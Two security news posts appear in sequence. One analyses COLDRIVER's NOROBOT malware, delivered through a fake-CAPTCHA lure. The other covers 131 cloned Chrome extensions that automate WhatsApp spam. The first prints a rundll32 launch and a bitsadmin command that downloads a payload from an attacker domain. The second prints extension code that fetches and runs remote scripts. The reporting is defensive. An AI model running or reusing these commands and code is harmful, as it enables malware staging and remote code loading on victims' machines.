Over the summer of 2025, a novel malware family emerged following the public disclosure of the LOSTKEYS implant.

This new strain was rapidly weaponized in a series of highly targeted campaigns against policy advisors, non-governmental organizations, and dissidents.

Leveraging a refreshed lure known as COLDCOPY ClickFix, threat actors masqueraded the payload as a CAPTCHA verification to dupe users into executing a malicious DLL via rundll32.

Early samples demonstrated an aggressive development tempo marked by multiple iterations of the downloader component and backdoor stages.

Google Cloud analysts noted that the loader, dubbed NOROBOT, began deployment within days after LOSTKEYS was profiled.

Unlike its predecessor— which relied on a multi-stage PowerShell approach—NOROBOT invoked rundll32 iamnotarobot.dll,humanCheck to bootstrap the infection chain.

Subsequent stages fetched partial cryptography keys and complementary payloads from attacker-controlled infrastructure, recombining components to decrypt and install a Python backdoor, YESROBOT.

Initial operations saw YESROBOT deployed briefly in late May before being quickly replaced by a streamlined PowerShell backdoor, MAYBEROBOT.

This change addressed the detection noise created by a bundled Python interpreter and enabled more flexible command execution without requiring a full interpreter runtime.

Both backdoors maintained minimal built-in functions, relying on the operator to supply complex commands over HTTPS to a hardcoded command-and-control server.

Within months, the malware reached its third major iteration, exhibiting not only simplified delivery but also rotating infrastructure and file naming conventions to evade network defenders.

Malware development overview illustrates this evolution, from the initial complex downloader to the condensed logon script mechanism.

COLDCOPY attempting to lure the user to execute NOROBOT highlights the social engineering employed to trick targets into executing a seemingly innocuous DLL.

Infection Mechanism

The infection begins when a user visits a compromised page posing as a custom CAPTCHA. The page prompts execution of iamnotarobot.dll, invoking the humanCheck export.

Once loaded, NOROBOT retrieves encrypted payload fragments via bitsadmin:-

bitsadmin /transfer downloadJob /download /priority normal https://inspectguarantee.org/libsystemhealthcheck.py %APPDATA%\libsystemhealthcheck.py

Next, the loader writes part of the AES key to the registry and schedules a task to assemble and decrypt the final payload.

This staged approach forces defenders to collect multiple artifacts—downloads, registry entries, scheduled tasks—to reconstruct the complete chain.

By splitting cryptographic keys and alternating downloader complexity, COLDRIVER maintains operational security while exacting intelligence collection from high-value targets.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New LOSTKEYS Malware Linked to Russia State-Sponsored Hacker Group COLDRIVER appeared first on Cyber Security News.

Over the past several months, cybersecurity researchers have observed a surge of fraudulent Chrome extensions masquerading as legitimate WhatsApp Web automation tools.

These 131 rebranded clones, each presenting as distinct offerings, share an identical codebase designed to automate bulk messaging and scheduling without user consent.

By injecting custom scripts directly into the WhatsApp Web interface, the extensions bypass native rate limits and anti-spam measures.

Each listing advertises features such as message templates, scheduling controls, and analytics dashboards that appeal to small businesses, particularly in Brazil, where WhatsApp is critical for customer outreach.

The extensions exploit Chrome’s Manifest V3 service worker capabilities to run background tasks, scheduling bulk sends without explicit user interaction.

Socket.dev analysts noted that the core module leverages a code snippet like:

document.addEventListener('DOMContentLoaded', () => {
  const msgHelper = window.WPP.helpers.sendMessage;
  scheduledMessages.forEach(({contact, text, time}) => {
    setTimeout(() => msgHelper(contact, text), time);
  });
});

This injection attaches to the page’s DOM and invokes WhatsApp’s internal APIs, blurring the line between legitimate automation and malicious spamming campaigns.

Socket.dev researchers identified that the service worker fetches a remote configuration file hosted on the operator’s infrastructure, enabling dynamic updates to message patterns and throttling parameters to evade detection.

Despite Chrome Web Store policies prohibiting duplicate experiences and unauthorized messaging, all 131 extensions remained live as of mid-October 2025.

Each clone is marketed under glossy landing pages with assurances of privacy compliance and rigorous code audits—claims that contradict platform guidelines.

The extensions are distributed via a franchise-like reseller program: partners pay an upfront fee to license the tool, receive a custom branding package, and manage subscription plans while the original operator retains control over the backend.

Evasion and Persistence Tactics

The most sophisticated aspect of this campaign lies in its detection evasion strategy. By tuning send intervals, randomizing message content, and rotating publisher accounts, the operators maintain continuous operations despite takedown requests.

A key persistence tactic involves polling the operator’s server for updated JavaScript payloads at regular intervals:-

self.addEventListener('periodicsync', event => {
  event.waitUntil(
    fetch(configUrl)
      .then(response => response.json())
      .then(cfg => importScripts(cfg.payloadUrl))
  );
});

This Manifest V3 periodic sync registration ensures that even if Chrome flags a particular payload, the extension can reload an unflagged version from the remote server.

Coupled with varied naming conventions and thousands of active users across listings, the campaign exemplifies policy abuse at scale and underscores the need for enhanced extension governance and user vigilance.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post 131 Malicious Extensions Targeting WhatsApp Used Found in Chrome Web Store appeared first on Cyber Security News.